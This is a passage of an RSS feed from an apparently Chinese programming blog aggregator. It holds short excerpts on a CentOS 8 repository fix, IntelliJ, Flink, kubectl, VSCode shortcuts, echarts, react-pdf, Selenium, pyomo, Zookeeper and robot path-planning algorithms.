      <description>问题：&#xA;如果你使用CentOS 8，你可能已经注意到，从2022年1月31日开始，安装yum包不再工作与错误镜像列表中没有url，类似如下:&#xA;Error: Failed to download metadata for repo &#39;appstream&#39;: Cannot prepare internal mirrorlist: No URLs in mirrorlist 如果你使用基于centos的Docker容器镜像，也会遇到同样的问题。&#xA;原因&#xA;在2022年1月31日，CentOS团队终于从官方镜像中移除CentOS 8的所有包。&#xA;CentOS 8已于2021年12月31日寿终正非，但软件包仍在官方镜像上保留了一段时间。现在他们被转移到https://vault.centos.org&#xA;解决方法&#xA;如果你仍然需要运行你的旧CentOS 8，你可以在/etc/yum.repos中更新repos.d使用vault.centos.org代替mirror.centos.org。&#xA;下面是两个简单的命令，都需要使用sudo来运行&#xA;# sudo sed -i -e &#34;s|mirrorlist=|#mirrorlist=|g&#34; /etc/yum.repos.d/CentOS-*&#xA;# sudo sed -i -e &#34;s|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g&#34; /etc/yum.repos.d/CentOS-*&#xA;本质上是用仍在运行的URL替换之前的URL。这一段时间内应该可以解决这个问题，但请记住，你将不会收到任何CentOS 8的更新。从长远来看，尝试升级到Stream版本。</description>
    </item>
    <item>
      <title>IDEA 2021.3创建java web项目（最新版，很详细，手把手创建）</title>
      <link>https://bchobby.github.io/posts/d2f07ce75d39c5eb9fd2e41bc2746992/</link>
      <pubDate>Tue, 08 Feb 2022 22:55:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2f07ce75d39c5eb9fd2e41bc2746992/</guid>
      <description>IDEA 2021.3创建java web项目（最新版，很详细，手把手创建）&#xA;IntelliJ IDEA：官网下载地址&#xA;IntelliJ IDEA是一种商业化销售的Java集成开发环境（Integrated Development Environment，IDE）工具软件，由JetBrains软件公司（前称为IntelliJ）开发，提供Apache 2.0开放式授权的社区版本以及专有软件的商业版本，开发者可选择其所需来下载使用。&#xA;因为自身学习的时候第一次使用IDEA，初次创建javaweb项目的时候，发现现在很多的教程都已经是过去式的了，版本很老了，有些创建项目的方式已经不适用于现在，所以我收集整理一下，总结出一套完善详细的解决方式。&#xA;我使用的版本是：IDEA 2021.3&#xA;1、创建项目 File ---&amp;gt; New ---&amp;gt; Finish Next ---&amp;gt; Next ---&amp;gt; Project 项目创建成功&#xA;2、 导入依赖包 3、 创建两个文件夹分别是 classes 和 lib ，classes用来存放out文件（等等用得上），lib用来存放依赖包 4、 配置tomcat服务器 tomcat配置好后&#xA;5、配置artifacts 6、启动项目 第一次运行时间稍长一些&#xA;成功&#xA;一个java web 项目就这样创建并且启动成功了</description>
    </item>
    <item>
      <title>Flink 窗口 触发器 ContinuousEventTimeTrigger</title>
      <link>https://bchobby.github.io/posts/81d63a18dfe361f5f44133e27f1e4ddb/</link>
      <pubDate>Tue, 08 Feb 2022 15:26:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81d63a18dfe361f5f44133e27f1e4ddb/</guid>
      <description>短窗口的计算由于其窗口期较短，那么很快就能获取到结果，但是对于长窗口来说短窗口时间比较长，如果等窗口期结束才能看到结果，那么这份数据就不具备实时性，大多数情况我们希望能够看到一个长窗口的结果不断变动的情况，&#xA;对此Flink提供了ContinuousEventTimeTrigger连续事件时间触发器与ContinuousProcessingTimeTrigger连续处理时间触发器，指定一个固定时间间隔interval，不需要等到窗口结束才能获取结果，能够在固定的interval获取到窗口的中间结果。&#xA;ContinuousEventTimeTrigger 该类表示连续事件时间触发器，用在EventTime属性的任务流中，以事件时间的进度来推动定期触发。&#xA;&amp;lt;1&amp;gt; 其中的onElement方法：&#xA;@Override public TriggerResult onElement(Object element, long timestamp, W window, TriggerContext ctx) throws Exception { if (window.maxTimestamp() &amp;lt;= ctx.getCurrentWatermark()) { // if the watermark is already past the window fire immediately return TriggerResult.FIRE; } else { ctx.registerEventTimeTimer(window.maxTimestamp()); } ReducingState&amp;lt;Long&amp;gt; fireTimestamp = ctx.getPartitionedState(stateDesc); if (fireTimestamp.get() == null) { long start = timestamp - (timestamp % interval); long nextFireTimestamp = start + interval; ctx.registerEventTimeTimer(nextFireTimestamp); fireTimestamp.add(nextFireTimestamp); } return TriggerResult.</description>
    </item>
    <item>
      <title>idea的VM options命令</title>
      <link>https://bchobby.github.io/posts/54bf95abb2063df35a1fd727af35c35a/</link>
      <pubDate>Mon, 07 Feb 2022 21:06:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54bf95abb2063df35a1fd727af35c35a/</guid>
      <description> idea的VM options命令 -Xms 设置初始化内存（堆内存）分配大小，默认是电脑内存的1/64-Xmx 设置最大分配内存，默认是电脑内存的1/4-XX:+PrintGCDetails 打印GC垃圾回收信息-XX:+HeapDumpOnOutOfMemoryError oom dump信息 使用：-Xms1024m -Xmx1024m -XX:+heapDumpOnOutOfMemoryError -XX:MaxTenuringThreshold=5 通过这个参数可以设定进入老年代的时间，默认是15次。 </description>
    </item>
    <item>
      <title>eCharts当请求数据为空时将图重绘</title>
      <link>https://bchobby.github.io/posts/00e13516a0ff309b393671c9eea1ff51/</link>
      <pubDate>Mon, 07 Feb 2022 18:08:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/00e13516a0ff309b393671c9eea1ff51/</guid>
      <description> 在echarts中如果请求数据为空时候需要将echarts图进行清空，但是在正常情况下会发现echarts图并没有进行清空，其实setOption中还有第二个参数，如下：&#xA;//将数据中的第二个参数设置为true就能在请求不到数据的时候将echarts图进行清空 option &amp;amp;&amp;amp; chart.setOption(option,true); </description>
    </item>
    <item>
      <title>k8s命令汇总</title>
      <link>https://bchobby.github.io/posts/df6915073df2092b0f93b804afb4628b/</link>
      <pubDate>Mon, 07 Feb 2022 15:28:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df6915073df2092b0f93b804afb4628b/</guid>
      <description>pod的内存yucpu使用查看方法：&#xA;kubectl top pod podName -n namespaceName&#xA;kubuctl修改当前命名空间&#xA;kubectl config set-context $(kubectl config current-context) --namespace=peiyou-xiaohoucode&#xA;事件相关&#xA;kubectl get events -A // 获取命名空间所有&#xA;kubectl describe deployment coding-judge-judge-test // 获取某个deployment的详情，包括事件&#xA;资源创建&#xA;kubectl create -f my-service.yaml -f my-rc.yaml #一次性创建service和rc&#xA;kubectl create -f &amp;lt;directory&amp;gt; #路径下所有的yaml yml json进行文件的创建&#xA;资源查看&#xA;kubectl get pods #查看所有pod列表&#xA;kubectl get service,rc&#xA;资源描述(详情)&#xA;kubectl describe nodes &amp;lt;node-name&amp;gt; #获取某规则资源的详情&#xA;kubectl describe pods/&amp;lt;pod-name&amp;gt; kubectl describe pods &amp;lt;rc-name&amp;gt;&#xA;删除资源&#xA;kubectl delete -f pod.yml #基于yaml的定义删除pod</description>
    </item>
    <item>
      <title>VSCode常用的快捷键</title>
      <link>https://bchobby.github.io/posts/9ddae7749fc8b48e8700fabaf71b48eb/</link>
      <pubDate>Mon, 07 Feb 2022 14:46:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ddae7749fc8b48e8700fabaf71b48eb/</guid>
      <description> 1.新建文件：chtr+n 2.新开窗口：ctrl+shift+n 3.分屏：ctrl+1/2/3 4.关闭当前窗口：ctrl+w 5.关闭所有已保存窗口：ctrl+k+w 6.显示/隐藏左侧边栏：ctrl+b 7.文件重命名：鼠标选中+f2 8.自动换行：alt+z（标签过长需要拖动编辑器下方滚动条阅读时不太方便，可以一键换行） 9.注释：ctrl+/ 10.隐藏/显示终端：ctrl+~ 11.查找并打开文件：ctrl+p 12.选定当前单词： ctrl + d 13.如果想选中所有此单词：ctrl+shift+L 14.转到文件头部/尾部：ctrl+home/end 15. 快速复制一行 ：shift+alt+ 下箭头(上箭头) 或者 ctrl+c 然后 ctrl+v 16. 添加多个光标 ： ctrl + Alt + 上箭头(下箭头) 17.文件内容查找替换：ctrl+f ctrl+h ，替换一个ctrl+shift+1，替换所有ctrl+alt+enter 18. 快速定位到某一行 : ctrl + g 19. 选择某个区块: 按住shift + alt 然后拖动鼠标 20.放大缩小整个编辑器界面: ctrl + + / - ctrl + 加号或者减号 21.移动当前行，向上alt+up（方向键↑） 向下alt+down 22.在当前行上方插入一行：ctrl+shift+enter 23.选中光标到行首/行尾文本：shift+home/end 24.选中部分文字：shift+left/right/up/down 25.自定义快捷键 比如js 的多行注释是 shift + alt + a ，我们想修改为 ctrl + shfit + / 设置方法： 管理按钮 --- 键盘快捷方式 --- 输入 shift + alt + a 找到这个快捷键 ----- 点击编辑按钮 ---- 直接按下 ctrl + shift + / ---- 最后按下回车 修改完毕。 </description>
    </item>
    <item>
      <title>(一)Javascript变量</title>
      <link>https://bchobby.github.io/posts/3d63f02f500d42f0103a4329b972cfe4/</link>
      <pubDate>Mon, 07 Feb 2022 14:10:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d63f02f500d42f0103a4329b972cfe4/</guid>
      <description> Javascript变量 一.变量&#xA;变量:变量是一个存放数据的容器&#xA;变量的声明：&#xA;//定义变量 var num ; //变量的赋值和初始化 var name = &#34;你好呀&#34; var name = &#34;小明&#34; var age = 18 var gender = &#34;女&#34; console.log(name,age,gender) 变量扩展：&#xA;更新变量：当变量被多次赋值时候，变量的值以最后一次赋值为准&#xA;声明多个变量：&#xA;var age = 18,name = &#34;hahaha&#34;,gender = &#34;男&#34; 声明变量的特殊情况：&#xA;3.1只声明不赋值：&#xA;var gender; console.log(gender) //undefined 3.2不声明不赋值&#xA;//报错 3.3不声明直接赋值&#xA;//可以使用但是不建议使用 </description>
    </item>
    <item>
      <title>前端React实现pdf在线阅读和电子合同</title>
      <link>https://bchobby.github.io/posts/1548f8fef9ae1972c498a14db2149c8d/</link>
      <pubDate>Sun, 06 Feb 2022 18:39:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1548f8fef9ae1972c498a14db2149c8d/</guid>
      <description>前端React实现pdf在线阅读和电子合同&#xA;文章目录 介绍1. 搭建页面思路1. 读取、展示合同内容 附录1. `jsPDF`实现1. 下载`pdf`文件2. 显示`pdf`文件 介绍 前段时间看到网上有个趋势，今后合同也开始变成无纸化，如果要签约，只需要在网上签名，不需要本人去现场。之前没有做过，决定试试看效果。&#xA;1. 搭建页面 因为是我自建的脚手架，所以暂时先搭建个骨架用来做测试页面的开发。&#xA;提供一个简单的搭建步骤:&#xA;npx create-react-app [name] --template typescript [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zEGRKtws-1644143802262)(./ReadMe.assets/image-20220206175120080.png)]&#xA;搭建好页面骨架后，我在前端周报上面翻了翻，找到了2个不错的库: js-pdf和react-pdf&#xA;jsPdf: 前端生成pdf文件。支持直接下载、转成data url。react-pdf: 实时展示pdf内容。支持打开文件和打开链接。 注意: 如果使用webpack5的话，不要使用国内的npm源，一定要用国外最新版本的，否则会出现dev-server崩溃栈溢出的问题。 思路 如果要实现pdf版本的合同，我个人分为4步:&#xA;读取、展示合同内容。制作合同。制作合同的同时，能实时看到内容。下载文件。 后期扩展：&#xA;5. 线上签名。&#xA;6. 盖章留戳。&#xA;1. 读取、展示合同内容 利用react-pdf的展示和读取功能，实现pdf文件的展示。首先，先不考虑文件的来源，我们以本地的测试pdf为准。&#xA;在开发页面引入react-pdf，下面是实现源码&#xA;import React, { useState } from &#39;react&#39;; import { Document, Page } from &#39;react-pdf/dist/esm/entry.webpack&#39;; // 引入样式，修复不对齐的问题 import &#39;react-pdf/dist/esm/Page/AnnotationLayer.css&#39;; import sample from &#39;./test.pdf&#39;; const PDFDisplay = () =&amp;gt; { const [totalPages, setTotalPages] = useState&amp;lt;number&amp;gt;(0) const [pageNumber, setPageNumber] = useState&amp;lt;number&amp;gt;(1) const [file, setFile] = useState(sample) return ( &amp;lt;&amp;gt; &amp;lt;Card style = {{ margin: 8, }}&amp;gt; &amp;lt;Title level={3}&amp;gt; React-pdf 查看/显示 pdf内容 &amp;lt;/Title&amp;gt; &amp;lt;div style = {{ margin: 8, }}&amp;gt; &amp;lt;div style = {{ margin: 6, display: &#39;flex&#39;, flexDirection: &#39;row-reverse&#39;, }}&amp;gt; &amp;lt;div className=&#34;</description>
    </item>
    <item>
      <title>echarts分享(四):双y轴图表刻度均匀分布问题</title>
      <link>https://bchobby.github.io/posts/38fb494901d3a8f8c69e7264ae867400/</link>
      <pubDate>Sun, 06 Feb 2022 17:34:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38fb494901d3a8f8c69e7264ae867400/</guid>
      <description>今天分享一个小问题，内容不多。&#xA;双y轴图表中，为了图表的美观，经常会隐藏一侧的y轴刻度线，仅显示一侧的刻度线。那么问题就来了，两个y轴的数据数值大小不同，常常会导致刻度线的刻度分布不均匀，该如何解决呢？&#xA;这里分享下我在项目中所作的处理：&#xA;首先是要找出当前y轴数据的最大值，与100相除，再对得到的商进行向上取整，最后把结果乘100。 有一点要注意，取整这里必须是向上取整(Math.ceil)。备注：Math.round是四舍五入取整，Math.floor是向下取整，使用这两个方法可能会导致数据显示不全 并且要注意极端情况：当得到的结果为0，也即是最大值小于100的时候，我们要把最终的结果设置成100。 简单代码如下：&#xA;let yData = [100,120,140,110,160,130]; let zData = [70,50,40,80,60,90,100]; function getSplitInterval(data){ let max = Math.ceil(Math.max(...data) / 100) * 100; if(max===0){max=100} return max } let ymax = getSplitInterval(yData) let zmax = getSplitInterval(zData) 当然，肯定会有同学产生疑问：为什么要与100进行运算？这个实际上是为了后面的刻度分隔提供便利，后面我是把刻度分成了5段，刚好可以被100整除。&#xA;也不一定是非要选择100，只要左后刻度均匀即可。&#xA;y轴属性设置如下：&#xA;yAxis:[ { ... min: 0, max: ymax, splitNumber: 5, minInterval:1, interval: ymax / 5, ... }, { ... min: 0, max: zmax, splitNumber: 5, minInterval:1, interval: zmax / 5, .</description>
    </item>
    <item>
      <title>Python Selenium.WebDriver清除输入框再输入『详解』</title>
      <link>https://bchobby.github.io/posts/a9b1d4d9efbe91c889e892e16ec5456c/</link>
      <pubDate>Sun, 06 Feb 2022 17:26:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9b1d4d9efbe91c889e892e16ec5456c/</guid>
      <description>Python Selenium.WebDriver 清除输入框再输入『详解』 文章目录 Python Selenium.WebDriver 清除输入框再输入『详解』一、如何清除输入框中的默认内容二、WebDriverWait 的功能键实现三、退格大法好😍四、不靠谱的拖动鼠标🤐五、双击后替换😲六、全选后替换「推荐」七、自带清空元素的内容方法「推荐」八、总结参考资料💟相关博客😏 一、如何清除输入框中的默认内容 首先，要明确一点的是，Selenium是模拟人们去操作浏览器，它能操作的事大部分都是我们人们能够自己手动实现的事情。&#xA;知道这一点后，我们再想想平时浏览网页时遇到存在默认文本内容的输入框时，我们会怎么将其清除掉再输入呢？&#xA;慢慢敲退格键？虽然麻烦但也是一个方法；拖动并点击鼠标，将默认内容选中后再按退格键将其删除；双击默认文本内容，在选中后的情况下输入我们想要的内容将其替换掉；与双击有着同样原理的是使用ctrl + a 全选快捷键将其全部选中，这个会比双击能够更可靠地选中默认文本内容，再输入我们想要的内容将其替换掉；不断刷新网页，祈祷输入框中的默认文本内容不再出现，哈哈别逗了，这不太可能 二、WebDriverWait 的功能键实现 在上诉的实现方法，都离不开对键盘的操作，全选、回车这些都是需要在代码中去实现，那么如何使用Selenium实现这些操作呢，这就需要用到 Selenium WebDriver 的功能键API(接口)&#xA;使用下列导入语句将其导入&#xA;from selenium.webdriver.common.keys import Keys 其实源码实现原理很简单，我们来看看源码，只要明白了规则甚至连该模块都不用导入就能实现功能键的输入&#xA;class Keys(object): &#34;&#34;&#34; Set of special keys codes. &#34;&#34;&#34; NULL = &#39;\ue000&#39; CANCEL = &#39;\ue001&#39; # ^break HELP = &#39;\ue002&#39; BACKSPACE = &#39;\ue003&#39; BACK_SPACE = BACKSPACE TAB = &#39;\ue004&#39; CLEAR = &#39;\ue005&#39; RETURN = &#39;\ue006&#39; ENTER = &#39;\ue007&#39; SHIFT = &#39;\ue008&#39; LEFT_SHIFT = SHIFT CONTROL = &#39;\ue009&#39; LEFT_CONTROL = CONTROL ALT = &#39;\ue00a&#39; LEFT_ALT = ALT PAUSE = &#39;\ue00b&#39; ESCAPE = &#39;\ue00c&#39; SPACE = &#39;\ue00d&#39; PAGE_UP = &#39;\ue00e&#39; PAGE_DOWN = &#39;\ue00f&#39; END = &#39;\ue010&#39; HOME = &#39;\ue011&#39; LEFT = &#39;\ue012&#39; ARROW_LEFT = LEFT UP = &#39;\ue013&#39; ARROW_UP = UP RIGHT = &#39;\ue014&#39; ARROW_RIGHT = RIGHT DOWN = &#39;\ue015&#39; ARROW_DOWN = DOWN INSERT = &#39;\ue016&#39; DELETE = &#39;\ue017&#39; SEMICOLON = &#39;\ue018&#39; EQUALS = &#39;\ue019&#39; NUMPAD0 = &#39;\ue01a&#39; # number pad keys NUMPAD1 = &#39;\ue01b&#39; NUMPAD2 = &#39;\ue01c&#39; NUMPAD3 = &#39;\ue01d&#39; NUMPAD4 = &#39;\ue01e&#39; NUMPAD5 = &#39;\ue01f&#39; NUMPAD6 = &#39;\ue020&#39; NUMPAD7 = &#39;\ue021&#39; NUMPAD8 = &#39;\ue022&#39; NUMPAD9 = &#39;\ue023&#39; MULTIPLY = &#39;\ue024&#39; ADD = &#39;\ue025&#39; SEPARATOR = &#39;\ue026&#39; SUBTRACT = &#39;\ue027&#39; DECIMAL = &#39;\ue028&#39; DIVIDE = &#39;\ue029&#39; F1 = &#39;\ue031&#39; # function keys F2 = &#39;\ue032&#39; F3 = &#39;\ue033&#39; F4 = &#39;\ue034&#39; F5 = &#39;\ue035&#39; F6 = &#39;\ue036&#39; F7 = &#39;\ue037&#39; F8 = &#39;\ue038&#39; F9 = &#39;\ue039&#39; F10 = &#39;\ue03a&#39; F11 = &#39;\ue03b&#39; F12 = &#39;\ue03c&#39; META = &#39;\ue03d&#39; COMMAND = &#39;\ue03d&#39; 将源码中的常用的功能键总结整理成表格 键位中文释义Unicode码BACKSPACE / BACK_SPACE退格\ue003DELETE删除\ue017HOME开头\ue011END末尾\ue010ENTER回车\ue007CONTROL（CTRL）控制（CTRL）\ue009ALTALT\ue00aSPACE空格\ue00d 三、退格大法好😍 万能的退格，输入框里有都是内容那就退格多少次，这是一个比较容易想出的方法，相信也有不少人也是一直在使用这个方法</description>
    </item>
    <item>
      <title>【python&#43;ROS&#43;路径规划】五、pyomo非线性规划工具</title>
      <link>https://bchobby.github.io/posts/8be90f6f083092353125cab2d080b3cc/</link>
      <pubDate>Thu, 03 Feb 2022 18:13:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8be90f6f083092353125cab2d080b3cc/</guid>
      <description>看到了这篇博客无人车系统（十）：c++与python非线性规(优)划（化）工具&#xA;突然发现python也有mpc工具，所以干脆不用matlab了，直接使用python做mpc的轨迹跟踪。&#xA;pyomo的简单了解 pyomo的安装 在VSCode上面安装了半天，各种BUG，最后还是先安装了Ananconda，然后再安装pyomo&#xA;在Ubuntu20.04 + Anaconda环境下安装pyomo与ipopt：&#xA;conda update conda conda install -c conda-forge ipopt conda install -c conda-forge coincbc conda install -c conda-forge pyomo conda install -c conda-forge pyomo.extras Anaconda与ros结合使用 在调好Anaconda之后打开VSCode，使用roscore命令会报错：&#xA;Command &#39;roscore&#39; not found, but can be installed with: sudo apt install python3-roslaunch 这个时候&#xA;source ./devel/setup.bash 一下就好了&#xA;而且发现也可以使用rosrun，Anaconda里面的包也都可以使用。&#xA;基本使用 官网：pyomo之后有空会翻译一下。&#xA;例子 尝试解决优化问题：&#xA;m i n i m i z e x 1 x 4 ( x 1 + x 2 + x 3 ) + x 3 s .</description>
    </item>
    <item>
      <title>sheng的学习笔记-Zookeeper框架原理</title>
      <link>https://bchobby.github.io/posts/dcd7cf206bb0cfc285c98e1d3df9bcdc/</link>
      <pubDate>Thu, 03 Feb 2022 16:57:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dcd7cf206bb0cfc285c98e1d3df9bcdc/</guid>
      <description>目录&#xA;ZK介绍和搭建&#xA;zk基础知识&#xA;znode-常用命令&#xA;znode-数据结构&#xA;zk中znode的结构：&#xA;zk中节点znode类型-持久节点和持久序号节点&#xA;临时节点用于服务发现原理图&#xA;ZK客户端Curator：&#xA;Curator介绍：&#xA;maven配置pom.xml文件&#xA;ZK持久化机制​&#xA;快照数据&#xA;事务日志&#xA;数据相关过程&#xA;初始化&#xA;数据同步 小结：&#xA;ZK权限&#xA;权限设置：&#xA;ZK锁&#xA;zk锁的类型：&#xA;ZooKeeper分布式锁的原理&#xA;（一） ZooKeeper的每一个节点，都是一个天然的顺序发号器。&#xA;（二） ZooKeeper节点的递增有序性，可以确保锁的公平 （三）ZooKeeper的节点监听机制，可以保障占有锁的传递有序而且高效&#xA;（四）ZooKeeper的节点监听机制，能避免羊群效应&#xA;图解：分布式锁的抢占过程&#xA;客户端A发起一个加锁请求&#xA;客户端B过来排队&#xA;客户端B开启监听客户端A&#xA;客户端B抢锁成功&#xA;分布式锁的基本思路&#xA;curator代码&#xA;对比ZooKeeper分布式锁和redis锁：&#xA;ZK的watch机制&#xA;ZK集群&#xA;ZK集群搭建&#xA;创建myid文件&#xA;修改zoo.cfg文件&#xA;启动服务&#xA;客户端连接&#xA;ZK集群原理&#xA;ZK服务器节点（非znode）分为3种角色：&#xA;ZBA协议&#xA;选举leader过程：&#xA;选票数据格式：&#xA;选举流程简介：&#xA;选举规则：&#xA;运行过程中检测主节点宕机&#xA;选举流程代码解析&#xA;ZK中NIO和BIO应用：&#xA;ZK介绍和搭建 ZooKeeper 是一个典型的分布式数据一致性解决方案，分布式应用程序可以基于 ZooKeeper 实现诸如数据发布/订阅、负载均衡、命名服务、分布式协调/通知、集群管理、Master 选举、分布式锁和分布式队列等功能。&#xA;Zookeeper 一个最常用的使用场景就是用于担任服务生产者和服务消费者的注册中心(提供发布订阅服务)。 服务生产者将自己提供的服务注册到Zookeeper中心，服务的消费者在进行服务调用的时候先到Zookeeper中查找服务，获取到服务生产者的详细信息之后，再去调用服务生产者的内容与数据。&#xA;ZK官网：&#xA;Welcome to The Apache Software Foundation!</description>
    </item>
    <item>
      <title>总结 | 六大路径规划算法</title>
      <link>https://bchobby.github.io/posts/10f3aed3e9a59aa700d51fde5cb2704a/</link>
      <pubDate>Thu, 03 Feb 2022 10:05:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10f3aed3e9a59aa700d51fde5cb2704a/</guid>
      <description>点击上方“小白学视觉”，选择加&#34;星标&#34;或“置顶”&#xA;重磅干货，第一时间送达 仅作学术分享，不代表本公众号立场，侵权联系删除&#xA;转载于：https://zhuanlan.zhihu.com/p/51372134， 知乎ID:搬砖的旺财&#xA;1.自主机器人近距离操作运动规划体系&#xA;在研究自主运动规划问题之前，首先需建立相对较为完整的自主运动规划体系，再由该体系作为指导，对自主运动规划的各项具体问题进行深入研究。本节将根据自主机器人的思维方式、运动形式、任务行为等特点，建立与之相适应的自主运动规划体系。并按照机器人的数量与规模，将自主运动规划分为单个机器人的运动规划与多机器人协同运动规划两类规划体系。&#xA;1.1 单个自主机器人的规划体系 运动规划系统是自主控制系统中主控单元的核心部分，因此有必要先研究自主控制系统和其主控单元的体系结构问题。&#xA;自主控制技术研究至今，先后出现了多种体系结构形式，目前被广泛应用于实践的是分布式体系结构，其各个功能模块作为相对独立的单元参与整个体系。随着人工智能技术的不断发展，基于多Agent的分布式体系结构逐渐成为了主流，各功能模块作为独立的智能体参与整个自主控制过程，该体系结构应用的基本形式如图1所示。一方面，主控单元与测控介入处理、姿态控制系统、轨道控制系统、热控系统、能源系统、数传、有效载荷控制等功能子系统相互独立为智能体，由总线相连；另一方面，主控单元为整个系统提供整体规划，以及协调、管理各子系统Agent的行为。测控介入处理Agent保证地面系统对整个系统任意层面的控制介入能力，可接受上行的使命级任务、具体的飞行规划和底层的控制指令；各子系统Agent存储本分系统的各种知识和控制算法，自主完成主控单元发送的任务规划，并将执行和本身的健康等信息传回主控单元，作为主控单元Agent运行管理和调整计划的依据。&#xA;图1 基于多Agent的分布式自主控制系统体系结构基本形式示意图&#xA;主控单元Agent采用主流的分层递阶式结构，这种结构层次鲜明，并且十分利于实现，其基本结构如图2所示。主控单元由任务生成与调度、运动行为规划和控制指令生成三层基本结构组成，由任务生成与调度层获得基本的飞行任务，经过运动行为规划层获得具体的行为规划，再由控制指令生成层得到最终的模块控制指令，发送给其它功能Agent。各功能Agent发送状态信息给主控单元的状态检测系统，状态检测系统将任务执行情况和子系统状态反馈回任务生成与调度层，以便根据具体情况对任务进行规划调整。当遇到突发情况时，还可启用重规划模块，它可根据当时情况迅速做出反应快速生成行为规划，用以指导控制指令生成层得到紧急情况的控制指令。&#xA;此外，地面控制系统在三个层次上都分别具有介入能力。图2中，点划线内是主控单元全部模块，虚线内为运动规划系统，包括运动行为规划模块和重规划模块，这也是运动规划系统的主要功能。&#xA;图2 主控单元基本结构示意图&#xA;明确了自主控制系统与其主控单元的基本结构，以及运动规划系统在主控单元中的基本功能，便可建立运动规划系统的体系结构。运动规划系统的体系结构如图3所示，该系统由规划器和重规划器两大执行单元组成，分别承担对飞行任务的一般规划和对突发事件紧急处理的运动规划。当然，这两部分也可理解为离线规划与在线规划两种，离线规划一般解决平时按部就班的飞行任务，在线规划一般解决突然下达的飞行任务。除规划器以外，系统还配有知识域模块，用以利用特定语言描述相关知识。知识域包括行为域和模型域两个部分，行为域用来存储服务系统一般的运动行为描述和紧急情况下的一些运动行为方面的处理方法（如急停、转向等），模型域用来存储规划所需模型知识，包括环境模型、组装体模型、组装任务对象模型和任务模型等等。&#xA;图3 运动规划系统体系结构示意图&#xA;1.2 多自主机器人协同规划体系 多智能体系统的群体体系结构一般分为集中式、分散式两种基本结构，分散式结构又可以进一步分为分层式和分布式结构。集中式结构通常由一个主控单元掌握全部环境和受控机器人信息，运用规划算法对任务进行分解，并分配给各受控机器人，组织它们完成任务。其优点是理论条理清晰，实现较为直观；缺点是容错性、灵活性和对环境的适应性较差，与各受控机器人存在通讯瓶颈问题。相对于集中式结构，分散式结构无法得到全局最优解，但它凭借着可靠性、灵活性和较强的环境适应性越来越受到广泛的青睐。分散式结构中的分布式结构没有主控单元，各智能体地位平等，通过各智能体间的通讯和信息交流达到协商的目的，实现最终的决策，但该结构容易片面强调个体，导致占用资源过多，且难于得到磋商结果。分层式结构介乎于集中式和分布式之间，存在主控单元，但并不是由主控单元掌控一切，各智能体也具备一定的自主性，上下级之间按照一定的规则，通过信息流形成完整的整体，共同完成协同任务。&#xA;多自主机器人系统应采用分层式结构，以保证整个系统既适于统一领导，又满足系统灵活、快速的需求。多自主机器人协同规划体系结构如图4所示，按照分层式结构建立两种工作模式：事先的离线规划由主控单元负责，首先获得协同任务，经过规划器得到具体的行为运动规划，并分发给各分系统执行单元，相关的知识域中主要是用于描述各分系统协商规则的协商域，主控单元从外界获取环境信息，从各分系统获取状态信息；当遇到突发事件或紧急任务变更以及主控单元停止工作时，各分系统采用分布式结构，单独规划各自运动行为，并从各自的知识域中获取协商方式，外界环境信息由主控单元发送和自我感知相结合获得（主控单元停止工作时，仅靠自我感知获取信息），其它机器人信息的传输由机器人间的数据链实现。&#xA;图4 多自主机器人协同规划体系结构示意图&#xA;2.路径规划研究&#xA;当给定了某一特定的任务之后，如何规划机器人的运动方式将至关重要。机器人的规划包括两部分内容：基座移动到适合操作的位置和转动手臂关节完成操作。包括三个问题：基座点到点运动规划；关节空间规划；综合规划。&#xA;本章研究几种常用的运动规划算法：图搜索法、RRT算法、人工势场法、BUG算法。并对部分算法的自身缺陷进行了一些改进。&#xA;2.1 图搜索法 图搜索法依靠已知的环境地图以及地图中的障碍物信息构造从起点到终点的可行路径。主要分成深度优先和广度优先两个方向。深度优先算法优先扩展搜索深度大的节点，可以快速的得到一条可行路径，但是深度优先算法得到的第一条路径往往是较长的路径。广度优先算法优先扩展深度小的节点，呈波状的搜索方式。广度优先算法搜索到的第一条路径就是最短路径。&#xA;2.1.1 可视图法 可视图法由Lozano-Perez和Wesley于1979年提出，是机器人全局运动规划的经典算法。可视图法中，机器人用点来描述，障碍物用多边形描述。将起始点 、目标点 和多边形障碍物的各顶点(设 是所有障碍物的顶点构成的集合)进行组合连接，要求起始点和障碍物各顶点之间、目标点和障碍物各顶点之间以及各障碍物顶点与顶点之间的连线均不能穿越障碍物，即直线是“可视的”。给图中的边赋权值，构造可见图 。其中点集 ， 为所有弧段即可见边的集合。然后釆用某种优化算法搜索从起始点 到目标点 的最优路径，那么根据累加和比较这些直线的距离就可以获得从起始点到目标点的最短路径。&#xA;图5 可视图&#xA;由此可见，利用可视图法规划避障路径主要在于构建可视图，而构建可视图的关键在于障碍物各顶点之间可见性的判断。判断时主要分为两种情况，同一障碍物各顶点之间可见性的判断以及不同障碍物之间顶点可见性的判断。&#xA;同一障碍物中，相邻顶点可见(通常不考虑凹多边形障碍物中不相邻顶点也有可能可见的情况)，不相邻顶点不可见，权值赋为 。&#xA;不同障碍物之间顶点可见性的判断则转化为判断顶点连线是否会与其它顶点连线相交的几何问题。如下图虚线所示，、 分别是障碍物 、 的顶点，但 与 连线与障碍物其它顶点连线相交，故 、 之间不可见；而实线所示的 与 连线不与障碍物其它顶点连线相交，故 、 之间可见。&#xA;图6 